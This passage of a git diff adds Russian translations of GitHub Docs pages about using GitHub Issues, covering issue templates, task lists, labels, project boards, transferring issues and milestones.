команда средств разработки, код может быть распределен между несколькими репозиториями, созданными для разных работ, которые им нужно отслеживать. В этом случае может быть удобнее создать для каждой команды отдельный репозиторий как единое место для отслеживания всех работ, в которых она участвует. +- **Личные репозитории**: личный репозиторий позволяет отслеживать все работы в одном месте, планировать будущие задачи и даже добавлять заметки или информацию, которую вы хотите сохранить. Сюда можно добавлять участников совместной работы, чтобы предоставить доступ к информации другим пользователям. + +Если вам необходимы разные разрешения на доступ к исходному коду или вы хотите отслеживать проблемы и обсуждения, можно создать несколько отдельных репозиториев. Дополнительные сведения см. в разделе [Создание репозитория только для проблем](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/creating-an-issues-only-repository). + +В следующих примерах в этом руководстве мы будем использовать пример репозитория под названием Project Octocat. +## Передача данных о репозитории +Для репозитория можно создать файл README.md, чтобы рассказать о своей команде или проекте или сообщить важные сведения о репозитории. Зачастую README — первое, что видит посетитель репозитория, поэтому здесь же можно указать, каким образом пользователи или участники могут приступить к работе над проектом и как связаться с командой. Дополнительные сведения см. в статье [О файлах README](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-readmes). + +Кроме того, можно создать файл CONTRIBUTING.md и добавить в него инструкции по участию в работе и взаимодействию с командой или проектом, например, информацию о том, как подать запрос на устранение ошибки или на доработку. Дополнительные сведения см. в разделе [Настройка инструкций для участников репозитория](/communities/setting-up-your-project-for-healthy-contributions/setting-guidelines-for-repository-contributors). +### Пример файла README +Создадим файл README.md с информацией о нашем новом проекте — Project Octocat. + +![Создание примера файла README](/assets/images/help/issues/quickstart-creating-readme.png) +## Создание шаблонов проблем + +Проблемы можно использовать для отслеживания различных типов работ вашей междисциплинарной команды или проекта, а также для сбора соответствующей информации за пределами проектами. Приведем несколько распространенных вариантов использования проблем. + +- Отслеживание выпусков: проблему можно использовать для отслеживания хода выполнения выпуска или этапов запуска. +- Крупные инициативы: проблему можно использовать для отслеживания хода выполнения крупной инициативы или проекта, которые затем сопоставляются с проблемами поменьше. +- Запросы компонентов: ваша команда или пользователи могут создавать проблемы для запроса доработки того или иного продукта или проекта. +- Ошибки: ваша команда или пользователи могут создавать проблемы для сообщения об ошибке. + +В зависимости от типа репозитория и проекта, над которым вы работаете, одним типам проблем можно присваивать более высокий приоритет, чем другим. Определив наиболее распространенные типы проблем для вашей команды, вы можете создать шаблоны {% ifversion fpt or ghec %}и формы проблем{% endif %} для репозитория. Шаблоны {% ifversion fpt or ghec %}и формы проблем{% endif %} позволяют создавать стандартизированный список шаблонов, которые участник сможет выбирать, открывая проблему в репозитории. Дополнительные сведения см. в разделе [Настройка шаблонов проблем для репозитория](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository). + +### Пример шаблона проблем +Ниже мы создадим шаблон проблемы для сообщения об ошибке в Project Octocat. + +![Создание примера шаблона проблемы](/assets/images/help/issues/quickstart-creating-issue-template.png) + +Теперь, когда мы создали шаблон проблемы с сообщением об ошибке, его можно будет выбрать при создании новой проблемы в Project Octocat. + +![Выбор примера шаблона проблемы](/assets/images/help/issues/quickstart-issue-creation-menu-with-template.png) + +## Открытие проблем и использование списков задач для отслеживания работы +Для организации и отслеживания работы можно создавать проблемы. Дополнительные сведения см. в статье "[Создание проблемы](/issues/tracking-your-work-with-issues/creating-issues/creating-an-issue)". +### Пример проблемы +Приведем пример проблемы, созданной для крупной иницбиативы (внешний интерфейс) в Project Octocat. + +![Пример создания проблемы для крупной инициативы](/assets/images/help/issues/quickstart-create-large-initiative-issue.png) +### Пример списка задач + +Списки задач можно использовать для деления больших проблем на небольшие задачи и отслеживания проблем в рамках более крупной цели. {% ifversion fpt or ghec %} При добавлении в текст проблемы у списков задач появляются дополнительные функциональные возможности. В верхней части проблемы отображается количество завершенных задач, а если кто-то закрывает проблему, входящую в список задач, автоматически устанавливается флажок завершения.{% endif %} Дополнительные сведения см. в статье [Сведения о списках задач](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists). + +Ниже мы добавили список задач в проблему Project Octocat, разделив ее на проблемы поменьше. + +![Пример добавления списка задач в проблему](/assets/images/help/issues/quickstart-add-task-list-to-issue.png) + +## Принятие решений в команде +Проблемы и обсуждения можно использовать для взаимодействия и командного принятия решений по плановым доработкам или приоритетам в рамках проекта. Проблемы полезно создавать для обсуждения определенных деталей, таких как отчеты об ошибках или производительности, планы на следующий квартал или разработка новой инициативы. Обсуждения полезны для открытого мозгового штурма или обратной связи за пределами базы кода и в репозиториях. Дополнительные сведения см. в статье [Какой инструмент обсуждения лучше использовать](/github/getting-started-with-github/quickstart/communicating-on-github#which-discussion-tool-should-i-use). + +Кроме того, в рамках команды с помощью проблем можно сообщать об изменениях в повседневных задачах, чтобы все были в курсе состояния работы. Например, можно создать проблему для большого компонента, над которым работают несколько человек, что позволит каждому участнику группы добавлять обновления с указанием состояния и открывать вопросы в этой проблеме. +### Пример проблемы с участниками проектами +Приведем пример того, как участники одного проекта сообщают об изменении состояния работы в проблеме Project Octocat. + +![Пример совместной работы в проблеме](/assets/images/help/issues/quickstart-collaborating-on-issue.png) +## Использование меток для выделения целей и состояния проекта +Для репозитория можно создавать метки, позволяющие классифицировать проблемы, запросы на вытягивание и обсуждения. Кроме того, в {% data variables.product.prodname_dotcom %} предусмотрены метки по умолчанию для каждого нового репозитория, которые можно изменять или удалять. Метки помогают отслеживать цели проектов, ошибки, типы работ и состояния проблемы. + +Дополнительные сведения см. в разделе [Создание метки](/issues/using-labels-and-milestones-to-track-work/managing-labels#creating-a-label). + +Метку, созданную в репозитории, можно впоследствии применять к любой проблеме, запросу на вытягивание или обсуждению в этом репозитории. Фильтрация проблем и запросов на вытягивание по меткам позволит найти все соответствующие работы. Например, чтобы найти в проекте все ошибки внешнего интерфейса, отфильтруйте проблемы с метками `front-end` и `bug`. Дополнительные сведения см. в статье [Фильтрация и поиск проблем и запросов на вытягивание](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests). +### Пример метки +Ниже приведен пример метки `front-end`, которую мы создали и добавили в проблему. + +![Пример добавления метки в проблему](/assets/images/help/issues/quickstart-add-label-to-issue.png) + +## Добавление проблем на доску проекта + +{% ifversion projects-v2 %} + +Вы можете использовать {% data variables.projects.projects_v2 %} на {% data variables.product.prodname_dotcom %} для планирования и отслеживания работы для вашей команды. Проект — это настраиваемая электронная таблица, которая интегрируется с вашими проблемами и запросами на вытягивание в {% data variables.product.prodname_dotcom %} и автоматически обновляет сведения в {% data variables.product.prodname_dotcom %}. Макет можно настраивать, фильтруя, сортируя и группируя проблемы и запросы на вытягивание. Сведения о начале работы с проектами см. в [кратком руководстве по проектам](/issues/planning-and-tracking-with-projects/learning-about-projects/quickstart-for-projects). +### Пример проекта +Ниже показан табличный макет из примера проекта, заполненный созданными нами проблемами Project Octocat. + +![Пример табличного макета для проектов](/assets/images/help/issues/quickstart-projects-table-view.png) + +Этот же проект можно открыть как доску. + +![Пример макета-доски для проектов](/assets/images/help/issues/quickstart-projects-board-view.png) + +{% endif %} {% ifversion projects-v1 %} + +Вы можете {% ifversion projects-v2 %}также использовать существующие {% else %}использовать{% endif %} {% data variables.product.prodname_projects_v1 %} на {% data variables.product.prodname_dotcom %} для планирования и отслеживания своей работы и работы вашей команды. Доски проектов состоят из проблем, запросов на вытягивание и заметок, распределенных в виде карточек между столбцами по вашему выбору. Доски проектов можно создавать для работы компонентов, для дорожных карт высокого уровня и даже для контрольных списков выпусков. Дополнительные сведения см. в разделе [О панелях проектов](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards). +### Пример доски проекта +Ниже показана доска проекта для репозитория Project Octocat из нашего примера с созданной нами проблемой, и добавлены проблемы поменьше, на которые мы ее разделили. + +![Пример доски проекта](/assets/images/help/issues/quickstart-project-board.png) + +{% endif %} + +## Дальнейшие действия + +Вы узнали о предлагаемых инструментах {% data variables.product.prodname_dotcom %} для планирования и отслеживания работы, а также о том, как настраивать репозиторий для междисциплинарной команды или проекта. Вот несколько полезных ресурсов по дальнейшей настройке репозитория и организации вашей работы. + +- [Сведения о репозиториях](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-repositories) — дополнительные сведения о создании репозиториев. +- [Отслеживание работы с использованием проблема](/issues/tracking-your-work-with-issues) — дополнительные сведения о различных способах создания проблем и управления ими. +- [Сведения о шаблонах проблем и запросов на вытягивание](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/about-issue-and-pull-request-templates) — дополнительные сведения о шаблонах проблем. +- [Управление метками](/issues/using-labels-and-milestones-to-track-work/managing-labels) — дополнительные сведения о создании, редактировании и удалении меток. +- [Сведения о списках задач](/issues/tracking-your-work-with-issues/creating-issues/about-task-lists) — дополнительные сведения о списках задач {% ifversion projects-v2 %} - [Сведения о проектах](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects) — дополнительные сведения о проектах +- [Настройка представления](/issues/planning-and-tracking-with-projects/customizing-views-in-your-project/customizing-a-view) — дополнительные сведения о том, как настраивать представления для проектов{% endif %} {% ifversion projects-v1 %}- [Сведения о {% data variables.product.prodname_projects_v1 %}](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards) — дополнительные сведения об управлении досками проектов{% endif %} diff --git a/translations/ru-RU/content/issues/tracking-your-work-with-issues/quickstart.md b/translations/ru-RU/content/issues/tracking-your-work-with-issues/quickstart.md new file mode 100644 index 000000000000..70902bfc3fd1 --- /dev/null +++ b/translations/ru-RU/content/issues/tracking-your-work-with-issues/quickstart.md @@ -0,0 +1,104 @@ +--- +title: Краткое руководство по GitHub Issues +intro: 'Следуйте этому краткому интерактивному руководству, чтобы узнать о {% data variables.product.prodname_github_issues %}.' +allowTitleToDifferFromFilename: true +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: quick_start +topics: + - Issues + - Project management +ms.openlocfilehash: 16e52a7b75b34dc8de2f982cf6d0a0bf5d8e9574 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147423255' +--- +## Введение + +В этом руководстве показано, как использовать {% data variables.product.prodname_github_issues %} для планирования и отслеживания элемента работы. В этом руководстве вы создадите новую проблему и добавите к ней список задач для отслеживания вложенных задач. Вы также узнаете, как добавлять метки, вехи, уполномоченных и проекты для обмена метаданными о проблеме. + +## Предварительные требования + +Чтобы создать проблему, вам потребуется репозиторий. Вы можете использовать существующий репозиторий, к которому у вас есть доступ для записи, или создать репозиторий. {% data reusables.enterprise-accounts.emu-permission-repo %} Для репозитория должны быть включены проблемы. Дополнительные сведения о создании репозитория см. в разделе [Создание репозитория](/articles/creating-a-new-repository). Дополнительные сведения о настройке проблем, если они отключены в репозитории, см. в статье [Отключение проблем](/github/administering-a-repository/managing-repository-settings/disabling-issues). + +## Открытие пустой проблемы + +Сначала создайте проблему. Существует несколько способов создавать проблемы, и вы можете выбрать наиболее подходящий для вашего рабочего процесса. В этом примере будет использоваться пользовательский интерфейс {% data variables.product.prodname_dotcom %}. Сведения о других способах создания проблемы см. в разделе [Создание проблемы](/issues/tracking-your-work-with-issues/creating-an-issue). + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %} {% data reusables.repositories.new_issue %} +1. В этом примере мы начнем с пустой проблемы. Репозиторий может использовать шаблоны проблем{% ifversion fpt or ghec %} и формы проблем{% endif %}, которые помогают участникам предоставлять конкретные сведения. Если в репозитории используются шаблоны проблем, {% ifversion fpt or ghes or ghec %}щелкните **Открыть пустую проблему**{% else %}щелкните **Открыть обычную проблему** {% endif %}. + +![пустая проблема](/assets/images/help/issues/blank-issue.png) + +## Заполнение сведений + +Присвойте вашей проблеме описательное название. Это название должно с первого взгляда дать общее понимание контекста. + +Добавьте описание, которое объясняет назначение проблемы, и добавьте в него все сведения, которые могут помочь в устранении проблемы. Например, если вы оформляете отчет об ошибке, опишите шаги для воспроизведения ошибки, ожидаемый и фактический результаты. + +Вы можете использовать разметку Markdown для форматирования, ссылок, смайликов и так далее. Дополнительные сведения см. в статье [Запись на GitHub](/github/writing-on-github). + +![Название и текст проблемы](/assets/images/help/issues/issue-title-body.png) + +## Добавление списка задач + +Иногда удобно разбивать большие проблемы на мелкие задачи или отслеживать несколько однотипных проблем в одной более крупной проблеме. Добавьте в проблему список задач, снабжая каждый элемент списка префиксом `[ ]`. Укажите ссылки по номерам или URL-адресам на другие существующие проблемы. Вы можете создать в формате обычного текста задачи, которые не сопоставляются с определенной проблемой, а позднее преобразовать их в проблемы. Дополнительные сведения см. в разделе [Сведения о списках задач](/issues/tracking-your-work-with-issues/about-task-lists). + +![проблема со списком задач](/assets/images/help/issues/issue-task-list-raw.png) + +## Добавление меток + +Добавьте метку для классификации проблемы. Например, можно использовать метку `bug` и метку `good first issue`, чтобы обозначить проблема как ошибку, за исправление которой может взяться новый участник. Пользователи могут фильтровать проблемы по меткам, чтобы получить все проблемы с определенной меткой. + +Вы можете использовать стандартные метки или создать собственные. Дополнительные сведения см. в статье "[Управление метками](/issues/using-labels-and-milestones-to-track-work/managing-labels)". + +![проблемы с метками](/assets/images/help/issues/issue-with-label.png) + +## Добавление вех + +Вы можете добавить веху для отслеживания проблемы в рамках целевого объекта на основе дат. Веха отображает ход решения проблем по мере достижения целевой даты. Дополнительные сведения см. в статье об [Сведения о вехах](/issues/using-labels-and-milestones-to-track-work/about-milestones). + +![проблема со вехой](/assets/images/help/issues/issue-milestone.png) + +## Назначение проблемы + +Чтобы обозначить зоны ответственности, вы можете назначить проблему определенному участнику в организации. Дополнительные сведения см. в разделе [Назначение проблем и запросов на вытягивание другим пользователям GitHub](/issues/tracking-your-work-with-issues/assigning-issues-and-pull-requests-to-other-github-users). + +![проблема с уполномоченными](/assets/images/help/issues/issue-assignees.png) + +## Добавление проблемы в проект + +Вы можете добавить проблему в существующий проект{% ifversion projects-v2 %} и заполнить метаданные для проекта. {% endif %} Подробнее см. {% ifversion projects-v2 %}[Сведения о проектах](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects).{% else %}[Организация работы с помощью досок проектов](/issues/organizing-your-work-with-project-boards).{% endif %} + +![Проблема с проектами](/assets/images/help/issues/issue-project.png) + +## Отправка проблемы + +Щелкните **Отправить новую проблему**, чтобы создать проблему. После создания проблемы можно изменить любое из описанных выше полей. У вашей проблемы есть уникальный URL-адрес, который можно передать другим участникам команды, указать в описании других проблем или запросов на вытягивание. + +## Взаимодействие + +После создания проблемы продолжайте общение, добавляя комментарии к проблеме. Вы можете указать коллег или команды в @mention, чтобы привлечь их внимание к комментариям. Чтобы связать связанные проблемы в том же репозитории, можно ввести `#` перед заголовком проблемы, а затем щелкнуть проблему, которую нужно связать. Дополнительные сведения см. в статье [Запись на GitHub](/github/writing-on-github). + +![комментарий к проблеме](/assets/images/help/issues/issue-comment.png) + +## Дальнейшие действия + +Проблемы можно использовать для широкого спектра задач. Пример: + +- Отслеживание идей +- Сбор отзывов +- Задачи по планированию +- Информирование об ошибках + +Далее приведены некоторые полезные ресурсы для выполнения следующих этапов с помощью {% data variables.product.prodname_github_issues %}. + +- Дополнительные сведения о проблемах см. в [этой статье](/issues/tracking-your-work-with-issues/about-issues). +- Дополнительные сведения об использовании проектов для планирования и отслеживания см. в статье {% ifversion projects-v2 %}[Сведения о проектах](/issues/planning-and-tracking-with-projects/learning-about-projects/about-projects).{% else %}[Организация работы с помощью досок проектов](/issues/organizing-your-work-with-project-boards).{% endif %} +- Дополнительные сведения об использовании шаблонов проблем{% ifversion fpt or ghec %} и форм проблем{% endif %}, которые помогают участникам предоставлять конкретные сведения, см. в статье [Использование шаблонов для поддержки полезных проблем и запросов на вытягивание](/communities/using-templates-to-encourage-useful-issues-and-pull-requests). diff --git a/translations/ru-RU/content/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository.md b/translations/ru-RU/content/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository.md new file mode 100644 index 000000000000..15068ae30011 --- /dev/null +++ b/translations/ru-RU/content/issues/tracking-your-work-with-issues/transferring-an-issue-to-another-repository.md @@ -0,0 +1,67 @@ +--- +title: Перенос проблемы в другой репозиторий +intro: 'Чтобы переместить проблему в более подходящий репозиторий, можно перенести открытые проблемы в другие репозитории.' +redirect_from: + - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/transferring-an-issue-to-another-repository + - /articles/transferring-an-issue-to-another-repository + - /github/managing-your-work-on-github/transferring-an-issue-to-another-repository + - /issues/tracking-your-work-with-issues/managing-issues/transferring-an-issue-to-another-repository +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +shortTitle: Transfer an issue +ms.openlocfilehash: b9a9cfcfb8c2026759f14c3edaee466c8a97327a +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148008828' +--- +Для переноса открытой проблемы в другой репозиторий требуются разрешение на запись в репозиторий, в котором она возникла, и репозиторий, в который вы переносите проблему. Дополнительные сведения см. в разделе [Роли репозитория для организации](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization). + +{% note %} + +**Примечание.** Проблемы можно переносить только между репозиториями, принадлежащими одной учетной записи пользователя или организации. {% ifversion fpt or ghes or ghec %}Проблему с частным репозиторием нельзя перенести в общедоступный репозиторий.{% endif %} + +{% endnote %} + +При переносе проблемы комментарии и исполнители сохраняются. Метки и вехи также сохраняются, если они присутствуют в целевом репозитории, причем метки сопоставляются по имени, а вехи — по имени и дате выполнения. Проблема останется на всех досках проектов, принадлежащих пользователю или всей организации, но будет удалена со всех досок проектов репозитория. Дополнительные сведения см. в разделе [О панелях проектов](/articles/about-project-boards). + +Пользователи или команды, упомянутые в проблеме, получат уведомление о переносе проблемы в новый репозиторий. Исходный URL-адрес перенаправляется на URL-адрес новой проблемы. Пользователи, у которых нет разрешений на чтение в отношении нового репозитория, увидят баннер с сообщением о переносе проблемы в новый репозиторий, доступа к которому у них нет. + +## Перенос открытой проблемы в другой репозиторий + +{% webui %} + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %} +3. В списке проблем выберите проблему, которую вы хотите перенести. +4. На правой боковой панели нажмите **Перенести проблему**. +![Кнопка для переноса проблемы](/assets/images/help/repository/transfer-issue.png) +5. В раскрывающемся меню **Выберите репозиторий** нажмите на репозиторий, в который нужно перенести проблему. +![Выбор репозитория](/assets/images/help/repository/choose-a-repository.png) +6. Нажмите **Перенести проблему**. +![Кнопка переноса проблемы](/assets/images/help/repository/transfer-issue-button.png) + +{% endwebui %} + +{% cli %} + +{% data reusables.cli.cli-learn-more %} + +Для переноса проблемы используйте подкоманду `gh issue transfer`. Замените параметр `issue` на номер или URL-адрес проблемы. Замените параметр `{% ifversion ghes %}hostname/{% endif %}owner/repo` {% ifversion ghes %}URL{% else %}имя{% endif %} репозитория, в который нужно перенести проблему, например `{% ifversion ghes %}https://ghe.io/{% endif %}octocat/octo-repo`. + +```shell +gh issue transfer ISSUE {% ifversion ghes %}HOSTNAME/{% endif %}OWNER/REPO +``` + +{% endcli %} + +## Дополнительные материалы + +- [Сведения о проблемах](/articles/about-issues) +- [Просмотр журнала безопасности](/articles/reviewing-your-security-log) +- [Просмотр журнала аудита для организации](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization) diff --git a/translations/ru-RU/content/issues/tracking-your-work-with-issues/viewing-all-of-your-issues-and-pull-requests.md b/translations/ru-RU/content/issues/tracking-your-work-with-issues/viewing-all-of-your-issues-and-pull-requests.md new file mode 100644 index 000000000000..c0526ad09ec8 --- /dev/null +++ b/translations/ru-RU/content/issues/tracking-your-work-with-issues/viewing-all-of-your-issues-and-pull-requests.md @@ -0,0 +1,35 @@ +--- +title: Просмотр всех проблем и запросов на вытягивание +intro: 'На панелях мониторинга "Проблемы" и "Запросы на вытягивание" перечислены открытые проблемы и созданные запросы на вытягивание. Их можно использовать для обновления элементов, которые устарели, для их закрытия или отслеживания упоминаний вашего имени во всех репозиториях (включая те, на которые вы не подписаны).' +redirect_from: + - /github/managing-your-work-on-github/managing-your-work-with-issues-and-pull-requests/viewing-all-of-your-issues-and-pull-requests + - /articles/viewing-all-of-your-issues-and-pull-requests + - /github/managing-your-work-on-github/viewing-all-of-your-issues-and-pull-requests + - /issues/tracking-your-work-with-issues/managing-issues/viewing-all-of-your-issues-and-pull-requests +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests + - Issues +shortTitle: View all your issues & PRs +type: how_to +ms.openlocfilehash: da42e2fe59a4ec80af2727eef66ae475f4b38ded +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145135383' +--- +Панели мониторинга с отображением проблем и запросов на вытягивание доступны в верхней части любой страницы. На каждой панели мониторинга можно отфильтровать список и найти проблемы или запросы на вытягивание, которые вы создали, которые были вам назначены или в которых вас упомянули. Вы также можете найти запросы на вытягивание, которые вас попросили рассмотреть. + +1. В верхней части любой страницы щелкните **Запросы на вытягивание** или **Проблемы**. + ![Глобальные панели мониторинга с запросами на вытягивание и проблемами](/assets/images/help/overview/issues_and_pr_dashboard.png) +2. При необходимости выберите фильтр или [используйте поле поиска, чтобы отфильтровать более конкретные результаты](/articles/using-search-to-filter-issues-and-pull-requests). + ![Список запросов на вытягивание с выбранным фильтром "Созданные"](/assets/images/help/overview/pr_dashboard_created.png) + +## Дополнительные материалы + +- [Просмотр подписок](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions#reviewing-repositories-that-youre-watching) diff --git a/translations/ru-RU/content/issues/using-labels-and-milestones-to-track-work/about-milestones.md b/translations/ru-RU/content/issues/using-labels-and-milestones-to-track-work/about-milestones.md new file mode 100644 index 000000000000..cf4c04dc3517 --- /dev/null +++ b/translations/ru-RU/content/issues/using-labels-and-milestones-to-track-work/about-milestones.md @@ -0,0 +1,53 @@ +--- +title: Сведения о вехах +intro: Вы можете использовать веху для отслеживания хода выполнения в группах проблем или запросов на вытягивание в репозитории. +redirect_from: + - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-milestones/about-milestones + - /articles/about-milestones + - /github/managing-your-work-on-github/about-milestones +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +ms.openlocfilehash: eab1d31cb7c7099d047306348afed01c3cfd9817 +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: '145135305' +--- +При [создании вехи](/articles/creating-and-editing-milestones-for-issues-and-pull-requests) ее можно [связать с проблемами и запросами на вытягивание](/articles/associating-milestones-with-issues-and-pull-requests). + +Для более эффективного управления проектом можно [просмотреть сведения о вехе](/articles/viewing-your-milestone-s-progress). На странице вехи можно просмотреть следующие сведения: + +- предоставленное пользователем описание вехи, которое может включать общие сведения о проекте, а также данные о командах и запланированных датах выполнения; +- дата выполнения вехи; +- процент выполнения вехи; +- количество открытых и закрытых проблем и запросов на вытягивание, связанных с вехой; +- список открытых и закрытых проблем и запросов на вытягивание, связанных с вехой. + +Кроме того, на странице вехи можно изменить саму веху и создать новые проблемы, которые по умолчанию будут связываться с ней. + +![Страница вехи](/assets/images/help/issues/milestone-info-page.png) + +## Определение приоритетов для проблем и запросов на вытягивание в вехах + +Вы можете определить приоритеты для открытых проблем и запросов на вытягивание в вехе. Для этого нужно щелкнуть слева от флажка проблемы или запроса на вытягивание и перетащить соответствующий элемент в нужное место. + +{% note %} + +**Примечание**. Если веха содержит более 500 открытых проблем, определять приоритеты для них нельзя. + +{% endnote %} + +![Переупорядоченная веха](/assets/images/help/issues/milestone-reordered.gif) + +## Дополнительные материалы + +- [Создание и изменение вех для проблем и запросов на вытягивание](/articles/creating-and-editing-milestones-for-issues-and-pull-requests) +- [Связывание вех с проблемами и запросами на вытягивание](/articles/associating-milestones-with-issues-and-pull-requests) +- [Фильтрация проблем и запросов на вытягивание по вехам](/articles/filtering-issues-and-pull-requests-by-milestone) +- [Просмотр хода выполнения для вехи](/articles/viewing-your-milestone-s-progress) diff --git a/translations/ru-RU/content/issues/using-labels-and-milestones-to-track-work/associating-milestones-with-issues-and-pull-requests.md b/translations/ru-RU/content/issues/using-labels-and-milestones-to-track-work/associating-milestones-with-issues-and-pull-requests.md new file mode 100644 index 000000000000..2081287eac95 --- /dev/null +++ b/translations/ru-RU/content/issues/using-labels-and-milestones-to-track-work/associating-milestones-with-issues-and-pull-requests.md @@ -0,0 +1,39 @@ +--- +title: Связывание вех с проблемами и запросами на вытягивание +intro: 'Вы можете связать аналогичные проблемы и запросы на вытягивание с вехой, чтобы более эффективно отслеживать ход их выполнения.' +redirect_from: + - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-milestones/associating-milestones-with-issues-and-pull-requests + - /articles/associating-milestones-with-issues-and-pull-requests + - /github/managing-your-work-on-github/associating-milestones-with-issues-and-pull-requests +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +shortTitle: Add to milestones +ms.openlocfilehash: beb6b9683b7b69c33ddb9f23ab18cd7786f7754c +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: '145135302' +--- +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issue-pr %} +3. Установите флажок рядом с элементами, которые требуется связать с вехой. + ![Флажок "Метаданные проблем"](/assets/images/help/issues/issues_assign_checkbox.png) +4. В правом верхнем углу щелкните **Веха** и начните вводить имя [существующей вехи](/articles/creating-and-editing-milestones-for-issues-and-pull-requests). Щелкните имя вехи, чтобы связать ее с элементом. + ![Раскрывающийся список назначения вех меток](/assets/images/help/issues/issues_assigning_milestone_dropdown.png) + +{% tip %} + +При работе с проблемами и запросами на вытягивание вы можете [отслеживать ход выполнения вехи](/articles/viewing-your-milestone-s-progress). + +{% endtip %} + +## Дополнительные материалы + +- [Сведения о вехах](/articles/about-milestones) +- [Создание и изменение вех для проблем и запросов на вытягивание](/articles/creating-and-editing-milestones-for-issues-and-pull-requests) +- [Фильтрация проблем и запросов на вытягивание по вехам](/articles/filtering-issues-and-pull-requests-by-milestone) diff --git a/translations/ru-RU/content/issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests.md b/translations/ru-RU/content/issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests.md new file mode 100644 index 000000000000..e39b81e5c249 --- /dev/null +++ b/translations/ru-RU/content/issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests.md @@ -0,0 +1,48 @@ +--- +title: Создание и изменение вех для проблем и запросов на вытягивание +intro: Вы можете создать веху для отслеживания хода выполнения в группах проблем или запросов на вытягивание в репозитории. +redirect_from: + - /github/managing-your-work-on-github/tracking-the-progress-of-your-work-with-milestones/creating-and-editing-milestones-for-issues-and-pull-requests + - /articles/creating-milestones-for-issues-and-pull-requests + - /articles/creating-and-editing-milestones-for-issues-and-pull-requests + - /github/managing-your-work-on-github/creating-and-editing-milestones-for-issues-and-pull-requests +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests + - Issues + - Project management +shortTitle: Create & edit milestones +type: how_to +ms.openlocfilehash: c0e812b9f91f91d88d7512974f1df52efbf8c65b +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147878798' +--- +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issue-pr %} {% data reusables.project-management.milestones %} +4. Выберите один из следующих параметров. + - Чтобы создать новую веху, нажмите кнопку **Создать веху**. + ![Кнопка "Создать веху"](/assets/images/help/repository/new-milestone.png) + - Чтобы изменить веху, нажмите кнопку **Изменить** рядом с ней. + ![Параметр "Изменить веху"](/assets/images/help/repository/edit-milestone.png) +5. Введите название, описание или другие изменения вехи и нажмите кнопку **Создать веху** или **Сохранить изменения**. Вехи используют синтаксис Markdown. Дополнительные сведения о синтаксисе Markdown см. в статье "[Базовый синтаксис записи и форматирования](/github/writing-on-github/basic-writing-and-formatting-syntax)". + +## Удаление вех + +Удаление вех не влияет на проблемы и запросы на вытягивание. + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issue-pr %} {% data reusables.project-management.milestones %} +4. Рядом с вехой, которую следует удалить, щелкните **Удалить**. +![Параметр "Удалить веху"](/assets/images/help/repository/delete-milestone.png) + +## Дополнительные материалы + +- [Сведения о вехах](/articles/about-milestones) +- [Связывание вех с проблемами и запросами на вытягивание](/articles/associating-milestones-with-issues-and-pull-requests) +- [Просмотр хода выполнения для вехи](/articles/viewing-your-milestone-s-progress) +- [Фильтрация проблем и запросов на вытягивание по вехам](/articles/filtering-issues-and-pull-requests-by-milestone) diff --git a/translations/ru-RU/content/issues/using-labels-and-milestones-to-track-work/filtering-issues-and-pull-requests-by-milestone.md b/translations/ru-RU/content/issues/using-labels-and-milestones-to-track-work/filtering-issues-and-pull-requests-by-milestone.md new file mode 100644 index 000000000000..6e9e95a8c89d --- /dev/null +++ 